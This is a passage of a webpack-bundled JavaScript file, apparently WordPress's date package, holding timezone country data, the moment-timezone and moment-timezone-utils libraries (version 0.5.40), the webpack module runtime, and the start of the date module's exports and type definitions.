Africa/Mogadishu","SR|America/Paramaribo","SS|Africa/Juba","ST|Africa/Sao_Tome","SV|America/El_Salvador","SX|America/Puerto_Rico America/Lower_Princes","SY|Asia/Damascus","SZ|Africa/Johannesburg Africa/Mbabane","TC|America/Grand_Turk","TD|Africa/Ndjamena","TF|Asia/Dubai Indian/Maldives Indian/Kerguelen","TG|Africa/Abidjan Africa/Lome","TH|Asia/Bangkok","TJ|Asia/Dushanbe","TK|Pacific/Fakaofo","TL|Asia/Dili","TM|Asia/Ashgabat","TN|Africa/Tunis","TO|Pacific/Tongatapu","TR|Europe/Istanbul","TT|America/Puerto_Rico America/Port_of_Spain","TV|Pacific/Tarawa Pacific/Funafuti","TW|Asia/Taipei","TZ|Africa/Nairobi Africa/Dar_es_Salaam","UA|Europe/Simferopol Europe/Kyiv","UG|Africa/Nairobi Africa/Kampala","UM|Pacific/Pago_Pago Pacific/Tarawa Pacific/Honolulu Pacific/Midway Pacific/Wake","US|America/New_York America/Detroit America/Kentucky/Louisville America/Kentucky/Monticello America/Indiana/Indianapolis America/Indiana/Vincennes America/Indiana/Winamac America/Indiana/Marengo America/Indiana/Petersburg America/Indiana/Vevay America/Chicago America/Indiana/Tell_City America/Indiana/Knox America/Menominee America/North_Dakota/Center America/North_Dakota/New_Salem America/North_Dakota/Beulah America/Denver America/Boise America/Phoenix America/Los_Angeles America/Anchorage America/Juneau America/Sitka America/Metlakatla America/Yakutat America/Nome America/Adak Pacific/Honolulu","UY|America/Montevideo","UZ|Asia/Samarkand Asia/Tashkent","VA|Europe/Rome Europe/Vatican","VC|America/Puerto_Rico America/St_Vincent","VE|America/Caracas","VG|America/Puerto_Rico America/Tortola","VI|America/Puerto_Rico America/St_Thomas","VN|Asia/Bangkok Asia/Ho_Chi_Minh","VU|Pacific/Efate","WF|Pacific/Tarawa Pacific/Wallis","WS|Pacific/Apia","YE|Asia/Riyadh Asia/Aden","YT|Africa/Nairobi Indian/Mayotte","ZA|Africa/Johannesburg","ZM|Africa/Maputo Africa/Lusaka","ZW|Africa/Maputo Africa/Harare"]}');

/***/ }),

/***/ 1685:
/***/ (function(module, exports, __webpack_require__) {

var __WEBPACK_AMD_DEFINE_FACTORY__, __WEBPACK_AMD_DEFINE_ARRAY__, __WEBPACK_AMD_DEFINE_RESULT__;//! moment-timezone-utils.js
//! version : 0.5.40
//! Copyright (c) JS Foundation and other contributors
//! license : MIT
//! github.com/moment/moment-timezone

(function (root, factory) {
	"use strict";

	/*global define*/
    if ( true && module.exports) {
        module.exports = factory(__webpack_require__(5537));     // Node
    } else if (true) {
		!(__WEBPACK_AMD_DEFINE_ARRAY__ = [__webpack_require__(6154)], __WEBPACK_AMD_DEFINE_FACTORY__ = (factory),
		__WEBPACK_AMD_DEFINE_RESULT__ = (typeof __WEBPACK_AMD_DEFINE_FACTORY__ === 'function' ?
		(__WEBPACK_AMD_DEFINE_FACTORY__.apply(exports, __WEBPACK_AMD_DEFINE_ARRAY__)) : __WEBPACK_AMD_DEFINE_FACTORY__),
		__WEBPACK_AMD_DEFINE_RESULT__ !== undefined && (module.exports = __WEBPACK_AMD_DEFINE_RESULT__));                 // AMD
	} else {}
}(this, function (moment) {
	"use strict";

	if (!moment.tz) {
		throw new Error("moment-timezone-utils.js must be loaded after moment-timezone.js");
	}

	/************************************
		Pack Base 60
	************************************/

	var BASE60 = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWX',
		EPSILON = 0.000001; // Used to fix floating point rounding errors

	function packBase60Fraction(fraction, precision) {
		var buffer = '.',
			output = '',
			current;

		while (precision > 0) {
			precision  -= 1;
			fraction   *= 60;
			current     = Math.floor(fraction + EPSILON);
			buffer     += BASE60[current];
			fraction   -= current;

			// Only add buffer to output once we have a non-zero value.
			// This makes '.000' output '', and '.100' output '.1'
			if (current) {
				output += buffer;
				buffer  = '';
			}
		}

		return output;
	}

	function packBase60(number, precision) {
		var output = '',
			absolute = Math.abs(number),
			whole = Math.floor(absolute),
			fraction = packBase60Fraction(absolute - whole, Math.min(~~precision, 10));

		while (whole > 0) {
			output = BASE60[whole % 60] + output;
			whole = Math.floor(whole / 60);
		}

		if (number < 0) {
			output = '-' + output;
		}

		if (output && fraction) {
			return output + fraction;
		}

		if (!fraction && output === '-') {
			return '0';
		}

		return output || fraction || '0';
	}

	/************************************
		Pack
	************************************/

	function packUntils(untils) {
		var out = [],
			last = 0,
			i;

		for (i = 0; i < untils.length - 1; i++) {
			out[i] = packBase60(Math.round((untils[i] - last) / 1000) / 60, 1);
			last = untils[i];
		}

		return out.join(' ');
	}

	function packAbbrsAndOffsets(source) {
		var index = 0,
			abbrs = [],
			offsets = [],
			indices = [],
			map = {},
			i, key;

		for (i = 0; i < source.abbrs.length; i++) {
			key = source.abbrs[i] + '|' + source.offsets[i];
			if (map[key] === undefined) {
				map[key] = index;
				abbrs[index] = source.abbrs[i];
				offsets[index] = packBase60(Math.round(source.offsets[i] * 60) / 60, 1);
				index++;
			}
			indices[i] = packBase60(map[key], 0);
		}

		return abbrs.join(' ') + '|' + offsets.join(' ') + '|' + indices.join('');
	}

	function packPopulation (number) {
		if (!number) {
			return '';
		}
		if (number < 1000) {
			return number;
		}
		var exponent = String(number | 0).length - 2;
		var precision = Math.round(number / Math.pow(10, exponent));
		return precision + 'e' + exponent;
	}

	function packCountries (countries) {
		if (!countries) {
			return '';
		}
		return countries.join(' ');
	}

	function validatePackData (source) {
		if (!source.name)    { throw new Error("Missing name"); }
		if (!source.abbrs)   { throw new Error("Missing abbrs"); }
		if (!source.untils)  { throw new Error("Missing untils"); }
		if (!source.offsets) { throw new Error("Missing offsets"); }
		if (
			source.offsets.length !== source.untils.length ||
			source.offsets.length !== source.abbrs.length
		) {
			throw new Error("Mismatched array lengths");
		}
	}

	function pack (source) {
		validatePackData(source);
		return [
			source.name, // 0 - timezone name
			packAbbrsAndOffsets(source), // 1 - abbrs, 2 - offsets, 3 - indices
			packUntils(source.untils), // 4 - untils
			packPopulation(source.population) // 5 - population
		].join('|');
	}

	function packCountry (source) {
		return [
			source.name,
			source.zones.join(' '),
		].join('|');
	}

	/************************************
		Create Links
	************************************/

	function arraysAreEqual(a, b) {
		var i;

		if (a.length !== b.length) { return false; }

		for (i = 0; i < a.length; i++) {
			if (a[i] !== b[i]) {
				return false;
			}
		}
		return true;
	}

	function zonesAreEqual(a, b) {
		return arraysAreEqual(a.offsets, b.offsets) && arraysAreEqual(a.abbrs, b.abbrs) && arraysAreEqual(a.untils, b.untils);
	}

	function findAndCreateLinks (input, output, links, groupLeaders) {
		var i, j, a, b, group, foundGroup, groups = [];

		for (i = 0; i < input.length; i++) {
			foundGroup = false;
			a = input[i];

			for (j = 0; j < groups.length; j++) {
				group = groups[j];
				b = group[0];
				if (zonesAreEqual(a, b)) {
					if (a.population > b.population) {
						group.unshift(a);
					} else if (a.population === b.population && groupLeaders && groupLeaders[a.name]) {
                        group.unshift(a);
                    } else {
						group.push(a);
					}
					foundGroup = true;
				}
			}

			if (!foundGroup) {
				groups.push([a]);
			}
		}

		for (i = 0; i < groups.length; i++) {
			group = groups[i];
			output.push(group[0]);
			for (j = 1; j < group.length; j++) {
				links.push(group[0].name + '|' + group[j].name);
			}
		}
	}

	function createLinks (source, groupLeaders) {
		var zones = [],
			links = [];

		if (source.links) {
			links = source.links.slice();
		}

		findAndCreateLinks(source.zones, zones, links, groupLeaders);

		return {
			version 	: source.version,
			zones   	: zones,
			links   	: links.sort()
		};
	}

	/************************************
		Filter Years
	************************************/

	function findStartAndEndIndex (untils, start, end) {
		var startI = 0,
			endI = untils.length + 1,
			untilYear,
			i;

		if (!end) {
			end = start;
		}

		if (start > end) {
			i = start;
			start = end;
			end = i;
		}

		for (i = 0; i < untils.length; i++) {
			if (untils[i] == null) {
				continue;
			}
			untilYear = new Date(untils[i]).getUTCFullYear();
			if (untilYear < start) {
				startI = i + 1;
			}
			if (untilYear > end) {
				endI = Math.min(endI, i + 1);
			}
		}

		return [startI, endI];
	}

	function filterYears (source, start, end) {
		var slice     = Array.prototype.slice,
			indices   = findStartAndEndIndex(source.untils, start, end),
			untils    = slice.apply(source.untils, indices);

		untils[untils.length - 1] = null;

		return {
			name       : source.name,
			abbrs      : slice.apply(source.abbrs, indices),
			untils     : untils,
			offsets    : slice.apply(source.offsets, indices),
			population : source.population,
			countries  : source.countries
		};
	}

	/************************************
		Filter, Link, and Pack
	************************************/

	function filterLinkPack (input, start, end, groupLeaders) {
		var i,
			inputZones = input.zones,
			outputZones = [],
			output;

		for (i = 0; i < inputZones.length; i++) {
			outputZones[i] = filterYears(inputZones[i], start, end);
		}

		output = createLinks({
			zones : outputZones,
			links : input.links.slice(),
			version : input.version
		}, groupLeaders);

		for (i = 0; i < output.zones.length; i++) {
			output.zones[i] = pack(output.zones[i]);
		}

		output.countries = input.countries ? input.countries.map(function (unpacked) {
			return packCountry(unpacked);
		}) : [];

		return output;
	}

	/************************************
		Exports
	************************************/

	moment.tz.pack           = pack;
	moment.tz.packBase60     = packBase60;
	moment.tz.createLinks    = createLinks;
	moment.tz.filterYears    = filterYears;
	moment.tz.filterLinkPack = filterLinkPack;
	moment.tz.packCountry	 = packCountry;

	return moment;
}));


/***/ }),

/***/ 3849:
/***/ (function(module, exports, __webpack_require__) {

var __WEBPACK_AMD_DEFINE_FACTORY__, __WEBPACK_AMD_DEFINE_ARRAY__, __WEBPACK_AMD_DEFINE_RESULT__;//! moment-timezone.js
//! version : 0.5.40
//! Copyright (c) JS Foundation and other contributors
//! license : MIT
//! github.com/moment/moment-timezone

(function (root, factory) {
	"use strict";

	/*global define*/
	if ( true && module.exports) {
		module.exports = factory(__webpack_require__(6154)); // Node
	} else if (true) {
		!(__WEBPACK_AMD_DEFINE_ARRAY__ = [__webpack_require__(6154)], __WEBPACK_AMD_DEFINE_FACTORY__ = (factory),
		__WEBPACK_AMD_DEFINE_RESULT__ = (typeof __WEBPACK_AMD_DEFINE_FACTORY__ === 'function' ?
		(__WEBPACK_AMD_DEFINE_FACTORY__.apply(exports, __WEBPACK_AMD_DEFINE_ARRAY__)) : __WEBPACK_AMD_DEFINE_FACTORY__),
		__WEBPACK_AMD_DEFINE_RESULT__ !== undefined && (module.exports = __WEBPACK_AMD_DEFINE_RESULT__));                 // AMD
	} else {}
}(this, function (moment) {
	"use strict";

	// Resolves es6 module loading issue
	if (moment.version === undefined && moment.default) {
		moment = moment.default;
	}

	// Do not load moment-timezone a second time.
	// if (moment.tz !== undefined) {
	// 	logError('Moment Timezone ' + moment.tz.version + ' was already loaded ' + (moment.tz.dataVersion ? 'with data from ' : 'without any data') + moment.tz.dataVersion);
	// 	return moment;
	// }

	var VERSION = "0.5.40",
		zones = {},
		links = {},
		countries = {},
		names = {},
		guesses = {},
		cachedGuess;

	if (!moment || typeof moment.version !== 'string') {
		logError('Moment Timezone requires Moment.js. See https://momentjs.com/timezone/docs/#/use-it/browser/');
	}

	var momentVersion = moment.version.split('.'),
		major = +momentVersion[0],
		minor = +momentVersion[1];

	// Moment.js version check
	if (major < 2 || (major === 2 && minor < 6)) {
		logError('Moment Timezone requires Moment.js >= 2.6.0. You are using Moment.js ' + moment.version + '. See momentjs.com');
	}

	/************************************
		Unpacking
	************************************/

	function charCodeToInt(charCode) {
		if (charCode > 96) {
			return charCode - 87;
		} else if (charCode > 64) {
			return charCode - 29;
		}
		return charCode - 48;
	}

	function unpackBase60(string) {
		var i = 0,
			parts = string.split('.'),
			whole = parts[0],
			fractional = parts[1] || '',
			multiplier = 1,
			num,
			out = 0,
			sign = 1;

		// handle negative numbers
		if (string.charCodeAt(0) === 45) {
			i = 1;
			sign = -1;
		}

		// handle digits before the decimal
		for (i; i < whole.length; i++) {
			num = charCodeToInt(whole.charCodeAt(i));
			out = 60 * out + num;
		}

		// handle digits after the decimal
		for (i = 0; i < fractional.length; i++) {
			multiplier = multiplier / 60;
			num = charCodeToInt(fractional.charCodeAt(i));
			out += num * multiplier;
		}

		return out * sign;
	}

	function arrayToInt (array) {
		for (var i = 0; i < array.length; i++) {
			array[i] = unpackBase60(array[i]);
		}
	}

	function intToUntil (array, length) {
		for (var i = 0; i < length; i++) {
			array[i] = Math.round((array[i - 1] || 0) + (array[i] * 60000)); // minutes to milliseconds
		}

		array[length - 1] = Infinity;
	}

	function mapIndices (source, indices) {
		var out = [], i;

		for (i = 0; i < indices.length; i++) {
			out[i] = source[indices[i]];
		}

		return out;
	}

	function unpack (string) {
		var data = string.split('|'),
			offsets = data[2].split(' '),
			indices = data[3].split(''),
			untils  = data[4].split(' ');

		arrayToInt(offsets);
		arrayToInt(indices);
		arrayToInt(untils);

		intToUntil(untils, indices.length);

		return {
			name       : data[0],
			abbrs      : mapIndices(data[1].split(' '), indices),
			offsets    : mapIndices(offsets, indices),
			untils     : untils,
			population : data[5] | 0
		};
	}

	/************************************
		Zone object
	************************************/

	function Zone (packedString) {
		if (packedString) {
			this._set(unpack(packedString));
		}
	}

	Zone.prototype = {
		_set : function (unpacked) {
			this.name       = unpacked.name;
			this.abbrs      = unpacked.abbrs;
			this.untils     = unpacked.untils;
			this.offsets    = unpacked.offsets;
			this.population = unpacked.population;
		},

		_index : function (timestamp) {
			var target = +timestamp,
				untils = this.untils,
				i;

			for (i = 0; i < untils.length; i++) {
				if (target < untils[i]) {
					return i;
				}
			}
		},

		countries : function () {
			var zone_name = this.name;
			return Object.keys(countries).filter(function (country_code) {
				return countries[country_code].zones.indexOf(zone_name) !== -1;
			});
		},

		parse : function (timestamp) {
			var target  = +timestamp,
				offsets = this.offsets,
				untils  = this.untils,
				max     = untils.length - 1,
				offset, offsetNext, offsetPrev, i;

			for (i = 0; i < max; i++) {
				offset     = offsets[i];
				offsetNext = offsets[i + 1];
				offsetPrev = offsets[i ? i - 1 : i];

				if (offset < offsetNext && tz.moveAmbiguousForward) {
					offset = offsetNext;
				} else if (offset > offsetPrev && tz.moveInvalidForward) {
					offset = offsetPrev;
				}

				if (target < untils[i] - (offset * 60000)) {
					return offsets[i];
				}
			}

			return offsets[max];
		},

		abbr : function (mom) {
			return this.abbrs[this._index(mom)];
		},

		offset : function (mom) {
			logError("zone.offset has been deprecated in favor of zone.utcOffset");
			return this.offsets[this._index(mom)];
		},

		utcOffset : function (mom) {
			return this.offsets[this._index(mom)];
		}
	};

	/************************************
		Country object
	************************************/

	function Country (country_name, zone_names) {
		this.name = country_name;
		this.zones = zone_names;
	}

	/************************************
		Current Timezone
	************************************/

	function OffsetAt(at) {
		var timeString = at.toTimeString();
		var abbr = timeString.match(/\([a-z ]+\)/i);
		if (abbr && abbr[0]) {
			// 17:56:31 GMT-0600 (CST)
			// 17:56:31 GMT-0600 (Central Standard Time)
			abbr = abbr[0].match(/[A-Z]/g);
			abbr = abbr ? abbr.join('') : undefined;
		} else {
			// 17:56:31 CST
			// 17:56:31 GMT+0800 (台北標準時間)
			abbr = timeString.match(/[A-Z]{3,5}/g);
			abbr = abbr ? abbr[0] : undefined;
		}

		if (abbr === 'GMT') {
			abbr = undefined;
		}

		this.at = +at;
		this.abbr = abbr;
		this.offset = at.getTimezoneOffset();
	}

	function ZoneScore(zone) {
		this.zone = zone;
		this.offsetScore = 0;
		this.abbrScore = 0;
	}

	ZoneScore.prototype.scoreOffsetAt = function (offsetAt) {
		this.offsetScore += Math.abs(this.zone.utcOffset(offsetAt.at) - offsetAt.offset);
		if (this.zone.abbr(offsetAt.at).replace(/[^A-Z]/g, '') !== offsetAt.abbr) {
			this.abbrScore++;
		}
	};

	function findChange(low, high) {
		var mid, diff;

		while ((diff = ((high.at - low.at) / 12e4 | 0) * 6e4)) {
			mid = new OffsetAt(new Date(low.at + diff));
			if (mid.offset === low.offset) {
				low = mid;
			} else {
				high = mid;
			}
		}

		return low;
	}

	function userOffsets() {
		var startYear = new Date().getFullYear() - 2,
			last = new OffsetAt(new Date(startYear, 0, 1)),
			offsets = [last],
			change, next, i;

		for (i = 1; i < 48; i++) {
			next = new OffsetAt(new Date(startYear, i, 1));
			if (next.offset !== last.offset) {
				change = findChange(last, next);
				offsets.push(change);
				offsets.push(new OffsetAt(new Date(change.at + 6e4)));
			}
			last = next;
		}

		for (i = 0; i < 4; i++) {
			offsets.push(new OffsetAt(new Date(startYear + i, 0, 1)));
			offsets.push(new OffsetAt(new Date(startYear + i, 6, 1)));
		}

		return offsets;
	}

	function sortZoneScores (a, b) {
		if (a.offsetScore !== b.offsetScore) {
			return a.offsetScore - b.offsetScore;
		}
		if (a.abbrScore !== b.abbrScore) {
			return a.abbrScore - b.abbrScore;
		}
		if (a.zone.population !== b.zone.population) {
			return b.zone.population - a.zone.population;
		}
		return b.zone.name.localeCompare(a.zone.name);
	}

	function addToGuesses (name, offsets) {
		var i, offset;
		arrayToInt(offsets);
		for (i = 0; i < offsets.length; i++) {
			offset = offsets[i];
			guesses[offset] = guesses[offset] || {};
			guesses[offset][name] = true;
		}
	}

	function guessesForUserOffsets (offsets) {
		var offsetsLength = offsets.length,
			filteredGuesses = {},
			out = [],
			i, j, guessesOffset;

		for (i = 0; i < offsetsLength; i++) {
			guessesOffset = guesses[offsets[i].offset] || {};
			for (j in guessesOffset) {
				if (guessesOffset.hasOwnProperty(j)) {
					filteredGuesses[j] = true;
				}
			}
		}

		for (i in filteredGuesses) {
			if (filteredGuesses.hasOwnProperty(i)) {
				out.push(names[i]);
			}
		}

		return out;
	}

	function rebuildGuess () {

		// use Intl API when available and returning valid time zone
		try {
			var intlName = Intl.DateTimeFormat().resolvedOptions().timeZone;
			if (intlName && intlName.length > 3) {
				var name = names[normalizeName(intlName)];
				if (name) {
					return name;
				}
				logError("Moment Timezone found " + intlName + " from the Intl api, but did not have that data loaded.");
			}
		} catch (e) {
			// Intl unavailable, fall back to manual guessing.
		}

		var offsets = userOffsets(),
			offsetsLength = offsets.length,
			guesses = guessesForUserOffsets(offsets),
			zoneScores = [],
			zoneScore, i, j;

		for (i = 0; i < guesses.length; i++) {
			zoneScore = new ZoneScore(getZone(guesses[i]), offsetsLength);
			for (j = 0; j < offsetsLength; j++) {
				zoneScore.scoreOffsetAt(offsets[j]);
			}
			zoneScores.push(zoneScore);
		}

		zoneScores.sort(sortZoneScores);

		return zoneScores.length > 0 ? zoneScores[0].zone.name : undefined;
	}

	function guess (ignoreCache) {
		if (!cachedGuess || ignoreCache) {
			cachedGuess = rebuildGuess();
		}
		return cachedGuess;
	}

	/************************************
		Global Methods
	************************************/

	function normalizeName (name) {
		return (name || '').toLowerCase().replace(/\//g, '_');
	}

	function addZone (packed) {
		var i, name, split, normalized;

		if (typeof packed === "string") {
			packed = [packed];
		}

		for (i = 0; i < packed.length; i++) {
			split = packed[i].split('|');
			name = split[0];
			normalized = normalizeName(name);
			zones[normalized] = packed[i];
			names[normalized] = name;
			addToGuesses(normalized, split[2].split(' '));
		}
	}

	function getZone (name, caller) {

		name = normalizeName(name);

		var zone = zones[name];
		var link;

		if (zone instanceof Zone) {
			return zone;
		}

		if (typeof zone === 'string') {
			zone = new Zone(zone);
			zones[name] = zone;
			return zone;
		}

		// Pass getZone to prevent recursion more than 1 level deep
		if (links[name] && caller !== getZone && (link = getZone(links[name], getZone))) {
			zone = zones[name] = new Zone();
			zone._set(link);
			zone.name = names[name];
			return zone;
		}

		return null;
	}

	function getNames () {
		var i, out = [];

		for (i in names) {
			if (names.hasOwnProperty(i) && (zones[i] || zones[links[i]]) && names[i]) {
				out.push(names[i]);
			}
		}

		return out.sort();
	}

	function getCountryNames () {
		return Object.keys(countries);
	}

	function addLink (aliases) {
		var i, alias, normal0, normal1;

		if (typeof aliases === "string") {
			aliases = [aliases];
		}

		for (i = 0; i < aliases.length; i++) {
			alias = aliases[i].split('|');

			normal0 = normalizeName(alias[0]);
			normal1 = normalizeName(alias[1]);

			links[normal0] = normal1;
			names[normal0] = alias[0];

			links[normal1] = normal0;
			names[normal1] = alias[1];
		}
	}

	function addCountries (data) {
		var i, country_code, country_zones, split;
		if (!data || !data.length) return;
		for (i = 0; i < data.length; i++) {
			split = data[i].split('|');
			country_code = split[0].toUpperCase();
			country_zones = split[1].split(' ');
			countries[country_code] = new Country(
				country_code,
				country_zones
			);
		}
	}

	function getCountry (name) {
		name = name.toUpperCase();
		return countries[name] || null;
	}

	function zonesForCountry(country, with_offset) {
		country = getCountry(country);

		if (!country) return null;

		var zones = country.zones.sort();

		if (with_offset) {
			return zones.map(function (zone_name) {
				var zone = getZone(zone_name);
				return {
					name: zone_name,
					offset: zone.utcOffset(new Date())
				};
			});
		}

		return zones;
	}

	function loadData (data) {
		addZone(data.zones);
		addLink(data.links);
		addCountries(data.countries);
		tz.dataVersion = data.version;
	}

	function zoneExists (name) {
		if (!zoneExists.didShowError) {
			zoneExists.didShowError = true;
				logError("moment.tz.zoneExists('" + name + "') has been deprecated in favor of !moment.tz.zone('" + name + "')");
		}
		return !!getZone(name);
	}

	function needsOffset (m) {
		var isUnixTimestamp = (m._f === 'X' || m._f === 'x');
		return !!(m._a && (m._tzm === undefined) && !isUnixTimestamp);
	}

	function logError (message) {
		if (typeof console !== 'undefined' && typeof console.error === 'function') {
			console.error(message);
		}
	}

	/************************************
		moment.tz namespace
	************************************/

	function tz (input) {
		var args = Array.prototype.slice.call(arguments, 0, -1),
			name = arguments[arguments.length - 1],
			zone = getZone(name),
			out  = moment.utc.apply(null, args);

		if (zone && !moment.isMoment(input) && needsOffset(out)) {
			out.add(zone.parse(out), 'minutes');
		}

		out.tz(name);

		return out;
	}

	tz.version      = VERSION;
	tz.dataVersion  = '';
	tz._zones       = zones;
	tz._links       = links;
	tz._names       = names;
	tz._countries	= countries;
	tz.add          = addZone;
	tz.link         = addLink;
	tz.load         = loadData;
	tz.zone         = getZone;
	tz.zoneExists   = zoneExists; // deprecated in 0.1.0
	tz.guess        = guess;
	tz.names        = getNames;
	tz.Zone         = Zone;
	tz.unpack       = unpack;
	tz.unpackBase60 = unpackBase60;
	tz.needsOffset  = needsOffset;
	tz.moveInvalidForward   = true;
	tz.moveAmbiguousForward = false;
	tz.countries    = getCountryNames;
	tz.zonesForCountry = zonesForCountry;

	/************************************
		Interface with Moment.js
	************************************/

	var fn = moment.fn;

	moment.tz = tz;

	moment.defaultZone = null;

	moment.updateOffset = function (mom, keepTime) {
		var zone = moment.defaultZone,
			offset;

		if (mom._z === undefined) {
			if (zone && needsOffset(mom) && !mom._isUTC) {
				mom._d = moment.utc(mom._a)._d;
				mom.utc().add(zone.parse(mom), 'minutes');
			}
			mom._z = zone;
		}
		if (mom._z) {
			offset = mom._z.utcOffset(mom);
			if (Math.abs(offset) < 16) {
				offset = offset / 60;
			}
			if (mom.utcOffset !== undefined) {
				var z = mom._z;
				mom.utcOffset(-offset, keepTime);
				mom._z = z;
			} else {
				mom.zone(offset, keepTime);
			}
		}
	};

	fn.tz = function (name, keepTime) {
		if (name) {
			if (typeof name !== 'string') {
				throw new Error('Time zone name must be a string, got ' + name + ' [' + typeof name + ']');
			}
			this._z = getZone(name);
			if (this._z) {
				moment.updateOffset(this, keepTime);
			} else {
				logError("Moment Timezone has no data for " + name + ". See http://momentjs.com/timezone/docs/#/data-loading/.");
			}
			return this;
		}
		if (this._z) { return this._z.name; }
	};

	function abbrWrap (old) {
		return function () {
			if (this._z) { return this._z.abbr(this); }
			return old.call(this);
		};
	}

	function resetZoneWrap (old) {
		return function () {
			this._z = null;
			return old.apply(this, arguments);
		};
	}

	function resetZoneWrap2 (old) {
		return function () {
			if (arguments.length > 0) this._z = null;
			return old.apply(this, arguments);
		};
	}

	fn.zoneName  = abbrWrap(fn.zoneName);
	fn.zoneAbbr  = abbrWrap(fn.zoneAbbr);
	fn.utc       = resetZoneWrap(fn.utc);
	fn.local     = resetZoneWrap(fn.local);
	fn.utcOffset = resetZoneWrap2(fn.utcOffset);

	moment.tz.setDefault = function(name) {
		if (major < 2 || (major === 2 && minor < 9)) {
			logError('Moment Timezone setDefault() requires Moment.js >= 2.9.0. You are using Moment.js ' + moment.version + '.');
		}
		moment.defaultZone = name ? getZone(name) : null;
		return moment;
	};

	// Cloning a moment should include the _z property.
	var momentProperties = moment.momentProperties;
	if (Object.prototype.toString.call(momentProperties) === '[object Array]') {
		// moment 2.8.1+
		momentProperties.push('_z');
		momentProperties.push('_a');
	} else if (momentProperties) {
		// moment 2.7.0
		momentProperties._z = null;
	}

	// INJECT DATA

	return moment;
}));


/***/ }),

/***/ 5537:
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {

var moment = module.exports = __webpack_require__(3849);
moment.tz.load(__webpack_require__(1681));


/***/ }),

/***/ 6154:
/***/ ((module) => {

"use strict";
module.exports = window["moment"];

/***/ })

/******/ 	});
/************************************************************************/
/******/ 	// The module cache
/******/ 	var __webpack_module_cache__ = {};
/******/ 	
/******/ 	// The require function
/******/ 	function __webpack_require__(moduleId) {
/******/ 		// Check if module is in cache
/******/ 		var cachedModule = __webpack_module_cache__[moduleId];
/******/ 		if (cachedModule !== undefined) {
/******/ 			return cachedModule.exports;
/******/ 		}
/******/ 		// Create a new module (and put it into the cache)
/******/ 		var module = __webpack_module_cache__[moduleId] = {
/******/ 			// no module.id needed
/******/ 			// no module.loaded needed
/******/ 			exports: {}
/******/ 		};
/******/ 	
/******/ 		// Execute the module function
/******/ 		__webpack_modules__[moduleId].call(module.exports, module, module.exports, __webpack_require__);
/******/ 	
/******/ 		// Return the exports of the module
/******/ 		return module.exports;
/******/ 	}
/******/ 	
/************************************************************************/
/******/ 	/* webpack/runtime/compat get default export */
/******/ 	(() => {
/******/ 		// getDefaultExport function for compatibility with non-harmony modules
/******/ 		__webpack_require__.n = (module) => {
/******/ 			var getter = module && module.__esModule ?
/******/ 				() => (module['default']) :
/******/ 				() => (module);
/******/ 			__webpack_require__.d(getter, { a: getter });
/******/ 			return getter;
/******/ 		};
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/define property getters */
/******/ 	(() => {
/******/ 		// define getter functions for harmony exports
/******/ 		__webpack_require__.d = (exports, definition) => {
/******/ 			for(var key in definition) {
/******/ 				if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ 					Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ 				}
/******/ 			}
/******/ 		};
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/hasOwnProperty shorthand */
/******/ 	(() => {
/******/ 		__webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/make namespace object */
/******/ 	(() => {
/******/ 		// define __esModule on exports
/******/ 		__webpack_require__.r = (exports) => {
/******/ 			if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
/******/ 				Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
/******/ 			}
/******/ 			Object.defineProperty(exports, '__esModule', { value: true });
/******/ 		};
/******/ 	})();
/******/ 	
/************************************************************************/
var __webpack_exports__ = {};
// This entry needs to be wrapped in an IIFE because it needs to be in strict mode.
(() => {
"use strict";
// ESM COMPAT FLAG
__webpack_require__.r(__webpack_exports__);

// EXPORTS
__webpack_require__.d(__webpack_exports__, {
  __experimentalGetSettings: () => (/* binding */ __experimentalGetSettings),
  date: () => (/* binding */ date),
  dateI18n: () => (/* binding */ dateI18n),
  format: () => (/* binding */ format),
  getDate: () => (/* binding */ getDate),
  getSettings: () => (/* binding */ getSettings),
  gmdate: () => (/* binding */ gmdate),
  gmdateI18n: () => (/* binding */ gmdateI18n),
  humanTimeDiff: () => (/* binding */ humanTimeDiff),
  isInTheFuture: () => (/* binding */ isInTheFuture),
  setSettings: () => (/* binding */ setSettings)
});

// EXTERNAL MODULE: external "moment"
var external_moment_ = __webpack_require__(6154);
var external_moment_default = /*#__PURE__*/__webpack_require__.n(external_moment_);
// EXTERNAL MODULE: ./node_modules/moment-timezone/moment-timezone.js
var moment_timezone = __webpack_require__(3849);
// EXTERNAL MODULE: ./node_modules/moment-timezone/moment-timezone-utils.js
var moment_timezone_utils = __webpack_require__(1685);
;// external ["wp","deprecated"]
const external_wp_deprecated_namespaceObject = window["wp"]["deprecated"];
var external_wp_deprecated_default = /*#__PURE__*/__webpack_require__.n(external_wp_deprecated_namespaceObject);
;// ./node_modules/@wordpress/date/build-module/index.js
/**
 * External dependencies
 */




/**
 * WordPress dependencies
 */


/** @typedef {import('moment').Moment} Moment */
/** @typedef {import('moment').LocaleSpecification} MomentLocaleSpecification */

/**
 * @typedef MeridiemConfig
 * @property {string} am Lowercase AM.
 * @property {string} AM Uppercase AM.
 * @property {string} pm Lowercase PM.
 * @property {string} PM Uppercase PM.
 */

/**
 * @typedef FormatsConfig
 * @property {string} time                Time format.
 * @property {string} date                Date format.
 * @property {string} datetime            Datetime format.
 * @property {string} datetimeAbbreviated Abbreviated datetime format.
 */

/**
 * @typedef TimezoneConfig
 * @property {string} offset          Offset setting.
 * @property {string} offsetFormatted Offset setting with decimals formatted to minutes.
 * @property {string} string          The timezone as a string (e.g., `'America/Los_Angeles'`).
 * @property {string} abbr            Abbreviation for the timezone.
 */

/* eslint-disable jsdoc/valid-types */
/**
 * @typedef L10nSettings
 * @property {string}                                     locale        Moment locale.
 * @property {MomentLocaleSpecification['months']}        months        Locale months.
 * @property {MomentLocaleSpecification['monthsShort']}   monthsShort   Locale months short.
 * @property {MomentLocaleSpecification['weekdays']}      weekdays      Locale weekdays.
 * @property {MomentLocaleSpecification['weekdaysShort']} weekdaysShort Locale weekdays short.
 * @property {MeridiemConfig}                             meridiem      Meridiem config.
 * @property {MomentLocaleSpecification['relativeTime']}  relative      Relative time config.
 * @property {0|1|2|3|4|5|6}                              startOfWeek   Day that the week starts on.
 */
